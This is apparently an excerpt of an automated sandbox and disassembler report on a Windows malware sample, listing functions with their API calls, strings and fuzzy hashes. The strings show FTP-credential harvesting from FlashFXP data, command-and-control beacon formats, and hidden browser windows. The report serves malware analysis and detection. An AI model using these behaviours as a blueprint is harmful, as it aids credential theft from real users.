Snapshot File: hcaresult_2_2_400000_fmlgbgc2p5.jbxd

Similarity

API ID: Heap$Process$AllocInternet$FileFreeOpenRead
String ID: hOA
API String ID: 1355009786-3485425990
Opcode ID: 786a5954c9ab5f0fe889d4d88a95b872a4b6a838963cd3095893ed4ca2eaaa4a
Instruction ID: 638041e7f74e2b46c75c1535d5ef76f15aa532bf5b3977fbb34850ab96fc5943
Opcode Fuzzy Hash: 786a5954c9ab5f0fe889d4d88a95b872a4b6a838963cd3095893ed4ca2eaaa4a
Instruction Fuzzy Hash: 1B418B71900209FFEB119F65C844BAA7BA9FF44355F14847AF819E6292E778CE80CF54

Function 00409301 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 105memoryCOMMON

Download Yara Rule

APIs

CharLowerW.USER32(?,?,?,?,?,?,+@,004089CD,?,?,?), ref: 0040933E
SysFreeString.OLEAUT32(?), ref: 00409359
SysFreeString.OLEAUT32(?), ref: 00409362
SysAllocString.OLEAUT32(?), ref: 004093B8
SysAllocString.OLEAUT32(javascript), ref: 004093C1
SysFreeString.OLEAUT32(00000000), ref: 004093E3
SysFreeString.OLEAUT32(00000000), ref: 004093E6

Strings

javascript, xrefs: 004093BA
+@, xrefs: 00409301
http:, xrefs: 00409347

Memory Dump Source

Source File: 00000002.00000002.1335363161.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_fmlgbgc2p5.jbxd

Similarity

API ID: String$Free$Alloc$CharLower
String ID: http:$javascript$+@
API String ID: 1987340527-3375436608
Opcode ID: 713b06055eefad9f5422e5b9f5fb5af6d58bbbe1ec79e9ea68907389bd6c3b4b
Instruction ID: 0b4048b57b081e67726dd44363989906ad2532c65c6ed0c60c908aefe346602b
Opcode Fuzzy Hash: 713b06055eefad9f5422e5b9f5fb5af6d58bbbe1ec79e9ea68907389bd6c3b4b
Instruction Fuzzy Hash: 6A310A71A00119AFDB04DFA6C889EAEB7B8EF48314B144469E805EB291D775AD41CF64

Function 00406E69 Relevance: 15.9, APIs: 1, Strings: 8, Instructions: 130COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00406E78

Strings

^nocrypt, xrefs: 00406F5C
0, xrefs: 00406EF5
From: , xrefs: 00406F8E
Via: , xrefs: 00406FAF
.html, xrefs: 00406F14
hOA, xrefs: 00406E7E
^key=, xrefs: 00406F2E
Page generated at: , xrefs: 00407000

Memory Dump Source

Source File: 00000002.00000002.1335363161.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_fmlgbgc2p5.jbxd

Similarity

API ID: CountTick
String ID: .html$0$From: $Page generated at: $Via: $^key=$^nocrypt$hOA
API String ID: 536389180-697497794
Opcode ID: 84a0e12b251b3718d34eddf76b775ad89a92ce41e4fff3615f2568cd6720db27
Instruction ID: 73e0daeea7a9f5f4b783dd0519eebdf5205f1bdf48cad4214514e0173d2ce6b9
Opcode Fuzzy Hash: 84a0e12b251b3718d34eddf76b775ad89a92ce41e4fff3615f2568cd6720db27
Instruction Fuzzy Hash: 27416131A0161997CB25EBA2DC51BDE7369FF44308F0044BFB909B71C1EA78AE948F59

Function 00405229 Relevance: 15.1, APIs: 3, Strings: 7, Instructions: 134sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00002710), ref: 00405366
Sleep.KERNEL32(00009C40), ref: 00405383
Sleep.KERNEL32(00004E20), ref: 004053D0

Strings

ftp, xrefs: 004052C5
From: , xrefs: 00405318
Via: , xrefs: 0040533C
.html, xrefs: 004052B4
hOA, xrefs: 00405305
CsM, xrefs: 004053B2
^key=, xrefs: 004052D0

Memory Dump Source

Source File: 00000002.00000002.1335363161.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_fmlgbgc2p5.jbxd

Similarity

API ID: Sleep
String ID: .html$CsM$From: $Via: $^key=$ftp$hOA
API String ID: 3472027048-2333287219
Opcode ID: 74b6ecad85d8563e453e52ab39e53749c12d05251352443c8ee161ef9de2affd
Instruction ID: 3376cbd9a830c5581772f61034da1910d267ee329a165acd0f4726bddbbbde03
Opcode Fuzzy Hash: 74b6ecad85d8563e453e52ab39e53749c12d05251352443c8ee161ef9de2affd
Instruction Fuzzy Hash: 4E419431A0091887CB24E7A29D529EF73A9EF40318F54407FE905B71D1EA7C9E898F5D

Function 00408CB7 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 239COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32(00000016), ref: 00408E7A

Strings

+@, xrefs: 00408CB7
http, xrefs: 00408E1A
_self, xrefs: 00408ED5

Memory Dump Source

Source File: 00000002.00000002.1335363161.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_fmlgbgc2p5.jbxd

Similarity

API ID: ClearVariant
String ID: _self$http$+@
API String ID: 1473721057-3317424838
Opcode ID: 318762bed40dfdc809c59a68404d151adbfac834f26e4a68fdc08c116542e79f
Instruction ID: ae9540e34d1dd6ebd4224328a85202065bb39baa52f6123ff81f2465f468f74f
Opcode Fuzzy Hash: 318762bed40dfdc809c59a68404d151adbfac834f26e4a68fdc08c116542e79f
Instruction Fuzzy Hash: 6C913D75A00209EFDB00DFA5C988DAEB7B9FF88305B144569E845FB290DB359D41CFA4

Function 00406ADF Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 136registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(80000002,?,00000000,00000001,00000000,00420840,?,00000000,?,004032CE,00420840,?,00000000,?,?,0040B182), ref: 00406B2A

Part of subcall function 004069C0: RegQueryValueExW.KERNELBASE(00000000,00000000,00000000,00000000,?,00000000,7686E9B0,?,?,?,0040AC8C,IueiOod,?,?,0040AB30,?), ref: 004069E3
Part of subcall function 004069C0: RegCloseKey.KERNELBASE(00000000,?,?,?,0040AC8C,IueiOod,?,?,0040AB30,?,?,0040B3E5), ref: 004069ED

RegOpenKeyExW.ADVAPI32(80000002,?,00000000,00000001,00000000,?,004032CE,00420840,?,00000000,?,?,0040B182,?,0040B320,00000000), ref: 00406B8C
RegOpenKeyExW.ADVAPI32(80000002,?,00000000,00000001,00000000), ref: 00406C17

Strings

CLSID, xrefs: 00406B3B, 00406B40, 00406B9D, 00406BB5, 00406C28, 00406C40
SOFTWARE\Classes\MIME\Database\Content Type\, xrefs: 00406AF6, 00406B5D, 00406BE8
text/javascript, xrefs: 00406BF3
application/x-javascript, xrefs: 00406B68
text/html, xrefs: 00406B01

Memory Dump Source

Source File: 00000002.00000002.1335363161.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_fmlgbgc2p5.jbxd

Similarity

API ID: Open$CloseQueryValue
String ID: CLSID$SOFTWARE\Classes\MIME\Database\Content Type\$application/x-javascript$text/html$text/javascript
API String ID: 3546245721-1332223170
Opcode ID: a4b16fbb25d38b57ee4efe956d64624d2281db9512bb134eed98189875e02577
Instruction ID: b356448af2dda310db5a41c348b39e69e2b2ee30590ea213815e442ef4722270
Opcode Fuzzy Hash: a4b16fbb25d38b57ee4efe956d64624d2281db9512bb134eed98189875e02577
Instruction Fuzzy Hash: 0A4142B2650118AAEB10D6519E81BEB73FCEB44309F1144BBE705F2080FB789F598F69

Function 0040A156 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 84memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(eventConn), ref: 0040A18D
FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 0040A1D4
SetParent.USER32(00000000,00000000), ref: 0040A1E2
GetWindowLongW.USER32(00000000,000000EC), ref: 0040A1ED
SetWindowLongW.USER32(00000000,000000EC,00000000), ref: 0040A1FE
SetWindowPos.USER32(00000000,00000001,00001388,00001388,00000010,?,00000000), ref: 0040A21E

Part of subcall function 0040A0B5: CoInitialize.OLE32(00000000), ref: 0040A0C0
Part of subcall function 0040A0B5: GetModuleHandleW.KERNEL32(00000000,00000000,?,?,0040A16F,00427ED0,00000000,00000001,?,00402806,?), ref: 0040A0CE
Part of subcall function 0040A0B5: CreateWindowExW.USER32(00000000,AtlAxWin,Shell.Explorer,80000000,00000000,00000000,000004B0,00000320,00000000,00000000,00000000), ref: 0040A0F3

Strings

eventConn, xrefs: 0040A188
Shell_TrayWnd, xrefs: 0040A1CF

Memory Dump Source

Source File: 00000002.00000002.1335363161.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_fmlgbgc2p5.jbxd

Similarity

API ID: Window$Long$AllocCreateFindHandleInitializeModuleParentString
String ID: Shell_TrayWnd$eventConn
API String ID: 2141107913-3455059086
Opcode ID: 2066f8b397b36b8e779d0438fd1e5f75721f75fac11e843927efdeb34d7bad55
Instruction ID: 39c15930e577ecb7297998fc23ff8408fdcdb7101606cb16b0d9d8475b405f16
Opcode Fuzzy Hash: 2066f8b397b36b8e779d0438fd1e5f75721f75fac11e843927efdeb34d7bad55
Instruction Fuzzy Hash: 05216834900214EFDB10AFA4CD89FAB7BB9EF0A311F2046B5F901EA2A1C7755D54CB96

Function 004047CC Relevance: 13.7, APIs: 7, Strings: 2, Instructions: 226memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0040821C: PathCombineW.SHLWAPI(?,?,0040EC40,00408268,?,00000000,?,00000000,00000000), ref: 0040823C

HeapAlloc.KERNEL32(00000008,00000626), ref: 00404888
StrStrIA.SHLWAPI(?,?), ref: 00404913
StrStrIA.SHLWAPI(?,?), ref: 00404925
StrStrIA.SHLWAPI(?,?), ref: 00404935
StrStrIA.SHLWAPI(?,?), ref: 00404947

Part of subcall function 00408248: FindFirstFileW.KERNEL32(?,?,?,00000000,00000000), ref: 00408280
Part of subcall function 00408248: WaitForSingleObject.KERNEL32(?,00000000), ref: 004082A6
Part of subcall function 00408248: PathMatchSpecW.SHLWAPI(0000002E,00000000), ref: 00408310
Part of subcall function 00408248: Sleep.KERNEL32(00000000), ref: 00408377
Part of subcall function 00408248: FindNextFileW.KERNEL32(00000000,00000010), ref: 004083A8
Part of subcall function 00408248: FindClose.KERNEL32(00000000), ref: 004083B9

Strings

ftplist.txt, xrefs: 00404805
ftp://%S:%S@%S:%u, xrefs: 004049F6

Memory Dump Source

Source File: 00000002.00000002.1335363161.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_fmlgbgc2p5.jbxd

Similarity

API ID: Find$FilePath$AllocCloseCombineFirstHeapMatchNextObjectSingleSleepSpecWait
String ID: ftp://%S:%S@%S:%u$ftplist.txt
API String ID: 1635188419-1322549247
Opcode ID: a8df2d7964cb9d5e44167d75c5d9d1604856ea1b31e7d0b3f7357b398df4251d
Instruction ID: 36c1d9bdffb8f00438c4566312b7f03f9c346fdcff82922ab75e5f9c351e1c12
Opcode Fuzzy Hash: a8df2d7964cb9d5e44167d75c5d9d1604856ea1b31e7d0b3f7357b398df4251d
Instruction Fuzzy Hash: 3581B0B15043819FD721EF29C840A6BBBE5AFC9304F14497EFA84A32D1E738D945CB5A

Function 00407362 Relevance: 13.6, APIs: 9, Instructions: 114timesynchronizationCOMMON

Download Yara Rule

APIs

CreateWaitableTimerW.KERNEL32(00000000,00000001,00000000), ref: 00407374
GetLocalTime.KERNEL32(?), ref: 00407387
GetLocalTime.KERNEL32(?), ref: 0040738D
GetTimeZoneInformation.KERNEL32(?), ref: 004073C2
SystemTimeToFileTime.KERNEL32(000007D8,?), ref: 00407412
SystemTimeToFileTime.KERNEL32(000007D8,?), ref: 0040741C
SetWaitableTimer.KERNEL32(?,?,00000000,00000000,00000000,00000000,?,?,00989680,00000000), ref: 0040747A
WaitForSingleObject.KERNEL32(?,000000FF,?,?,00989680,00000000), ref: 00407485
CloseHandle.KERNEL32(?,?,?,00989680,00000000), ref: 0040748E

Memory Dump Source

Source File: 00000002.00000002.1335363161.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_fmlgbgc2p5.jbxd

Similarity

API ID: Time$FileLocalSystemTimerWaitable$CloseCreateHandleInformationObjectSingleWaitZone
String ID:
API String ID: 3166187867-0
Opcode ID: 2667820b8e72ac86daf0972410128220eb63d60d64ca4213cefa209fb62143e0
Instruction ID: 26b14636c49f8a61fb06fac8b942a3fa68f3078aba47330515a101c34858e503
Opcode Fuzzy Hash: 2667820b8e72ac86daf0972410128220eb63d60d64ca4213cefa209fb62143e0
Instruction Fuzzy Hash: 8B316FB2D1022DAACF04EBE5DD459EEB7BDEF44304F10406AF901B3290E7746A04DB69

Function 004089FD Relevance: 12.5, APIs: 5, Strings: 2, Instructions: 267COMMON

Download Yara Rule

Strings

http, xrefs: 00408B59
+@, xrefs: 004089FD

Memory Dump Source

Source File: 00000002.00000002.1335363161.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_fmlgbgc2p5.jbxd

Similarity

API ID:
String ID: http$+@
API String ID: 0-4127549746
Opcode ID: f0dce942b3145dcad46720e365100d861664f6bcad1e9537a21da11c1cc3beb0
Instruction ID: 8803294073e7eabf7739078d3f203694aecc40311bc63510a67c123621be67c8
Opcode Fuzzy Hash: f0dce942b3145dcad46720e365100d861664f6bcad1e9537a21da11c1cc3beb0
Instruction Fuzzy Hash: 5CA17DB1A00519DFDF00DFA5C984AAEB7B5FF89305B14486AE845FB290DB34AD41CFA4

Function 00403740 Relevance: 12.4, APIs: 2, Strings: 5, Instructions: 101COMMON

Download Yara Rule

APIs

Part of subcall function 0040848F: RegOpenKeyExW.ADVAPI32(80000002,?,00000000,00000001,?,00000104,00000000,?,?,?,00403796,?,?,00000104,?,00000000), ref: 004084A5

ExpandEnvironmentStringsW.KERNEL32(?,?,00000104), ref: 004037AD
SHGetFolderPathW.SHELL32(00000000,00000023,00000000,00000000,?), ref: 00403804

Strings

#, xrefs: 004037DC
SOFTWARE\FlashFXP\3, xrefs: 0040375E
*flashfxp*, xrefs: 004037CE
datafolder, xrefs: 0040376D
&, xrefs: 004037EA

Memory Dump Source

Source File: 00000002.00000002.1335363161.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_fmlgbgc2p5.jbxd

Similarity

API ID: EnvironmentExpandFolderOpenPathStrings
String ID: #$&$*flashfxp*$SOFTWARE\FlashFXP\3$datafolder
API String ID: 1994525040-4055253781
Opcode ID: b5df530147ac8d267a5cbfcc016f1ae2a019a33deaf43a82b22308bd25093abb
Instruction ID: b84aa35a929ccb2802933dbb7828156d7819aaa5c632eb2dc8c8e19af11b7673
Opcode Fuzzy Hash: b5df530147ac8d267a5cbfcc016f1ae2a019a33deaf43a82b22308bd25093abb
Instruction Fuzzy Hash: 203130B2900118AADB10EAA5DC85DDF7BBCEB44718F10847BF605F3180EA399B458B69

Function 00409909 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 79memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(?), ref: 004099EB
SysAllocString.OLEAUT32(?), ref: 004099F9

Strings

http://, xrefs: 00409941
</url>, xrefs: 00409917
<url>, xrefs: 0040991C
<domain>, xrefs: 004099BD
</domain>, xrefs: 004099B8

Memory Dump Source

Source File: 00000002.00000002.1335363161.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_fmlgbgc2p5.jbxd

Similarity

API ID: AllocString
String ID: </domain>$</url>$<domain>$<url>$http://
API String ID: 2525500382-924421446
Opcode ID: 7723bc74f96afd5ab7d25efc8bb6f2b50cbe860e07765de9200aa53f481fba3f
Instruction ID: c36137c4092f7a01c2c9ac5e3109157182881aca1e17db191de13133e2ad13bf
Opcode Fuzzy Hash: 7723bc74f96afd5ab7d25efc8bb6f2b50cbe860e07765de9200aa53f481fba3f
Instruction Fuzzy Hash: D521D876600218A6DB61AB59CC41BDB33E4FB44794F14407FE508B32C2EB785E4D4F99

Function 00408F26 Relevance: 12.2, APIs: 8, Instructions: 164COMMON

Download Yara Rule

APIs

SysFreeString.OLEAUT32(75C0F6A0), ref: 00408F82
SysFreeString.OLEAUT32(0000000B), ref: 00409046

Memory Dump Source

Source File: 00000002.00000002.1335363161.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_fmlgbgc2p5.jbxd

Similarity

API ID: FreeString
String ID:
API String ID: 3341692771-0
Opcode ID: 59776c75d333dfe1639c07a446583e94a2c8bfe67c5695638f45226917350801
Instruction ID: f0e6d8e47a3946ab2c5de92fa7688d846ddd73d58da4f3d2da06902102303575
Opcode Fuzzy Hash: 59776c75d333dfe1639c07a446583e94a2c8bfe67c5695638f45226917350801
Instruction Fuzzy Hash: A0616C70A0020AEFDB10DFA9DA845AEBBB2FB48304F2048BAD545F7251D7795E52DF08

Function 0040AC93 Relevance: 12.1, APIs: 3, Strings: 5, Instructions: 105sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00406D14: InternetAttemptConnect.WININET(00000000), ref: 00406D18

Sleep.KERNEL32(00002710,00000000,00000400,00000000), ref: 0040ACAE
Sleep.KERNEL32(0000EA60), ref: 0040AD76
Sleep.KERNEL32(00002710), ref: 0040ADA4

Strings

d, xrefs: 0040ADB6
hOA, xrefs: 0040ACC0
0, xrefs: 0040AD12
^rcn=1, xrefs: 0040AD37
job^rev=%s^os=%s, xrefs: 0040ACDB

Memory Dump Source

Source File: 00000002.00000002.1335363161.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_fmlgbgc2p5.jbxd

Similarity

API ID: Sleep$AttemptConnectInternet
String ID: 0$^rcn=1$d$hOA$job^rev=%s^os=%s
API String ID: 362191241-2593661552
Opcode ID: e876ecf8844ea65909d5912cf1b13aa36029654f48e96db610e819274c2e0ff8
Instruction ID: b79182b1151443badf469ae5f9ae195c128285790c89deda34db11c37ea10ffc
Opcode Fuzzy Hash: e876ecf8844ea65909d5912cf1b13aa36029654f48e96db610e819274c2e0ff8
Instruction Fuzzy Hash: 0531C471D00208ABCF20ABA6DC859AE77BAEF80309F10847BE505B72C1DA7849558B5B

Function 0040D790 Relevance: 10.8, APIs: 7, Instructions: 275COMMONLIBRARYCODE

Download Yara Rule

APIs

_ValidateScopeTableHandlers.LIBCMT ref: 0040D892
__FindPESection.LIBCMT ref: 0040D8AC

Memory Dump Source

Source File: 00000002.00000002.1335363161.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_fmlgbgc2p5.jbxd

Similarity

API ID: FindHandlersScopeSectionTableValidate
String ID:
API String ID: 876702719-0
Opcode ID: dad01fb9bdadffb69ef4f48bfe6dd386f460ef773ad6b00c79be1d47ae49c001
Instruction ID: 4070355c3de93ac57746f54d9fb9ba92a54bad1974282013f33c457a7dad05b0
Opcode Fuzzy Hash: dad01fb9bdadffb69ef4f48bfe6dd386f460ef773ad6b00c79be1d47ae49c001
Instruction Fuzzy Hash: 96A1C172F042158BCB24CF98D981B6E77B1EB84314F56813AD815A73D0DB39AC49CB9D

Function 00408825 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 172COMMON

Download Yara Rule

APIs

SysFreeString.OLEAUT32(?), ref: 004088E4
SysFreeString.OLEAUT32(?), ref: 004088E9
SysFreeString.OLEAUT32(?), ref: 004089D3
SysFreeString.OLEAUT32(?), ref: 004089D8
SysFreeString.OLEAUT32(?), ref: 004089F3

Strings

+@, xrefs: 0040884C

Memory Dump Source

Source File: 00000002.00000002.1335363161.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_fmlgbgc2p5.jbxd

Similarity

API ID: FreeString
String ID: +@
API String ID: 3341692771-3835504741
Opcode ID: 93f0afddb38b81210f93c4942281d01229e6bb84a740b12f8f50e9dc1a7fc491
Instruction ID: a3ddab01b40b0bc50fc9c7e4bf61c95a679aea40eaf3a0ce7d8bcb6f132c7745
Opcode Fuzzy Hash: 93f0afddb38b81210f93c4942281d01229e6bb84a740b12f8f50e9dc1a7fc491
Instruction Fuzzy Hash: BB518171900219AFDF05BFA1CC45AEF7BB8EF08308F00447AF855B6192EB799A51CB59

Function 0040A786 Relevance: 10.6, APIs: 5, Strings: 2, Instructions: 121sleepmemoryCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00002710,00000000,00000000,00000000), ref: 0040A7A3
Sleep.KERNEL32(0000EA60,?,00000000,00000000,00000000), ref: 0040A899
Sleep.KERNEL32(00002710,?,?,?,?,?,00000000,00000000,00000000), ref: 0040A8CC
GetProcessHeap.KERNEL32(00000000,?,?,?,?,?,?,00000000,00000000,00000000), ref: 0040A8E5
HeapFree.KERNEL32(00000000,?,?,?,?,?,00000000,00000000,00000000), ref: 0040A8EC

Part of subcall function 00406D14: InternetAttemptConnect.WININET(00000000), ref: 00406D18

Strings

confirm^rev=%s^code=%s^param=%s^os=%s, xrefs: 0040A7BA
0, xrefs: 0040A848

Memory Dump Source

Source File: 00000002.00000002.1335363161.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_fmlgbgc2p5.jbxd

Similarity

API ID: Sleep$Heap$AttemptConnectFreeInternetProcess
String ID: 0$confirm^rev=%s^code=%s^param=%s^os=%s
API String ID: 3100629401-2436734164
Opcode ID: 9652d423a98df953dd9117dceebf08b302c82fbb0c377fe7acd8f7bbba186267
Instruction ID: 7defdabbc875a2827947a9af70fbac2689cb4d570e6f2fffa55db425585f7fd8
Opcode Fuzzy Hash: 9652d423a98df953dd9117dceebf08b302c82fbb0c377fe7acd8f7bbba186267
Instruction Fuzzy Hash: C0418372D00618AACB11EBE1DC859DF73BCEF44304F10847BF505B6181EA789A558F9E

Function 0040253C Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 113sleepprocessfileCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00002710,00420840,00001000,00000000,?,0040B2BB,00000000,00000000,00000000,00000001,00000000,00000000), ref: 00402566
DeleteFileW.KERNEL32(00000000,00420840,00001000,00000000,?,0040B2BB,00000000,00000000,00000000,00000001,00000000,00000000), ref: 00402587
Sleep.KERNEL32(0000EA60,00000000,00000001,00000000,00000000), ref: 004025B3

Part of subcall function 00406D14: InternetAttemptConnect.WININET(00000000), ref: 00406D18

_memset.LIBCMT ref: 004025DA
CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000020,00000000,00420840,?,?,?,?,?,00000000,00000001,00000000), ref: 0040264D

Strings

none, xrefs: 00402614

Memory Dump Source

Source File: 00000002.00000002.1335363161.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_fmlgbgc2p5.jbxd

Similarity

API ID: Sleep$AttemptConnectCreateDeleteFileInternetProcess_memset
String ID: none
API String ID: 2353737338-2140143823
Opcode ID: a9610d18699f1113e4a22a1a7ed1018a06f4e5a4b53e05e94114c749c06fc169
Instruction ID: 23ab6f573089ca27c74aa918c09813edc931bf25471b74fd790eff350109b64e
Opcode Fuzzy Hash: a9610d18699f1113e4a22a1a7ed1018a06f4e5a4b53e05e94114c749c06fc169
Instruction Fuzzy Hash: 8D319231A00219ABCB21EF61DE49AEF7769FF04748F00043BF905B21C1D6789A51CBAE

Function 004094B6 Relevance: 10.6, APIs: 7, Instructions: 81COMMON

Download Yara Rule

APIs

SysFreeString.OLEAUT32(?), ref: 004094E6

Memory Dump Source

Source File: 00000002.00000002.1335363161.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_fmlgbgc2p5.jbxd

Similarity

API ID: FreeString
String ID:
API String ID: 3341692771-0
Opcode ID: 99a964074df9a43e7876bfa78059f63c2205d652b6a4e0ea0b2e4f8e9ecac31d
Instruction ID: b8745a711dcf8da59f3798694fa3079dcf63c40c9cdbadd59c4d39193402e254
Opcode Fuzzy Hash: 99a964074df9a43e7876bfa78059f63c2205d652b6a4e0ea0b2e4f8e9ecac31d
Instruction Fuzzy Hash: C9214832A00108BBDB01DFAADC44B9E7BB8EF48345F1484B6E805F71A1D774AE41DB84

Function 0040A245 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 61memoryCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0040A26B
SysAllocString.OLEAUT32(?), ref: 0040A28E
SysAllocString.OLEAUT32(?), ref: 0040A296
SysFreeString.OLEAUT32(00000000), ref: 0040A2CA
SysFreeString.OLEAUT32(?), ref: 0040A2CF

Part of subcall function 00409FB1: GetTickCount.KERNEL32 ref: 00409FCE
Part of subcall function 00409FB1: GetTickCount.KERNEL32 ref: 00409FDE
Part of subcall function 00409FB1: Sleep.KERNEL32(00000064,?,?,0040A442,?,?), ref: 00409FEC
Part of subcall function 00409FB1: PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00409FFB
Part of subcall function 00409FB1: DispatchMessageW.USER32(?), ref: 0040A009

Strings

J(@, xrefs: 0040A29E, 0040A2A1

Memory Dump Source

Source File: 00000002.00000002.1335363161.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_fmlgbgc2p5.jbxd

Similarity

API ID: String$AllocCountFreeMessageTick$DispatchPeekSleep_memset
String ID: J(@
API String ID: 3143865713-2848800318
Opcode ID: 68495801366515c75ff4f7091ec1779cfaae467043e456767ef3efc9e03748a3
Instruction ID: bfa1c3e5fdaec5be4dfb18607c12502589e7fd5433bac8caf4aacda455aa0499
Opcode Fuzzy Hash: 68495801366515c75ff4f7091ec1779cfaae467043e456767ef3efc9e03748a3
Instruction Fuzzy Hash: 3A118F72D10219ABCB00DFA9DD448DEBBB9FF08354B11456AF415B7290E770AE14CFA4

Function 0040782A Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 60filetimeCOMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(00000000,?,00000400,00000000,UniqueNum), ref: 0040784D
CreateFileW.KERNEL32(?,80000000,00000003,00000000,00000003,00000000,00000000), ref: 00407864
GetFileTime.KERNEL32(00000000,?,00000000,00000000), ref: 00407879
CloseHandle.KERNEL32(00000000), ref: 00407880
GetTickCount.KERNEL32 ref: 00407888

Strings

UniqueNum, xrefs: 00407836

Memory Dump Source

Source File: 00000002.00000002.1335363161.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_fmlgbgc2p5.jbxd

Similarity

API ID: File$CloseCountCreateHandleModuleNameTickTime
String ID: UniqueNum
API String ID: 1853814767-3816303966
Opcode ID: e7107705f7d645ec0444386ddfffd8695f1bbe122d048c6309b931cdd7db22a5
Instruction ID: 2f8cc66c71eb5b32faf52737d8a911681d4da4e376004c23895cdbe2f04b10ac
Opcode Fuzzy Hash: e7107705f7d645ec0444386ddfffd8695f1bbe122d048c6309b931cdd7db22a5
Instruction Fuzzy Hash: AE110633419220ABD210AB65EC4CA9B7FACEF45760F004A3AF964E21D0D6349211C7AB

Function 00407E2B Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 54fileCOMMON

Download Yara Rule

APIs

SetFilePointer.KERNEL32(00000000,00000000,00000000,UniqueNum), ref: 00407E5C
ReadFile.KERNEL32(?,00000064,00000001,00000000), ref: 00407E74

Part of subcall function 00407CD7: GetModuleFileNameW.KERNEL32(00000000,?,00001000,00000000,00000000,?,00407E44,00000001,UniqueNum), ref: 00407CF6
Part of subcall function 00407CD7: CreateFileW.KERNEL32(?,C0000000,00000000,00000000,00000004,00000002,00000000,?,00407E44,00000001,UniqueNum), ref: 00407D48

Strings

UniqueNum, xrefs: 00407E38
d, xrefs: 00407E7E
hOAd, xrefs: 00407E91
x, xrefs: 00407E86

Memory Dump Source

Source File: 00000002.00000002.1335363161.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_fmlgbgc2p5.jbxd

Similarity

API ID: File$CreateModuleNamePointerRead
String ID: UniqueNum$d$hOAd$x
API String ID: 1528952607-1018652783
Opcode ID: 015ecc0cc43ae81723c1e035d0cdbf130f909c8143b489dc0bfa89a80df37f55
Instruction ID: 0df55d11f519ebf6f0451cc58b4543fb7278309a9039aac926228ebb90f40a66
Opcode Fuzzy Hash: 015ecc0cc43ae81723c1e035d0cdbf130f909c8143b489dc0bfa89a80df37f55
